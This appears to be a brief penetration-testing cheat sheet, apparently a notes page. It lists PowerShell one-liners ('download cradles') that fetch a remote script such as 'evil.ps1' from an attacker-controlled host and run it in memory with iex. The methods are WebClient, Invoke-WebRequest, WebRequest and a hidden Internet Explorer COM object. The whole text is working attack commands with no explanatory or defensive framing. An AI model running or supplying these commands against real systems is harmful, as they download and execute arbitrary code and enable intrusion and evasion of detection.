Locally

Remotely

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')
 
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
 
iex (iwr 'http://192.168.230.1/evil.ps1')
 
$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
 
 

Related Notes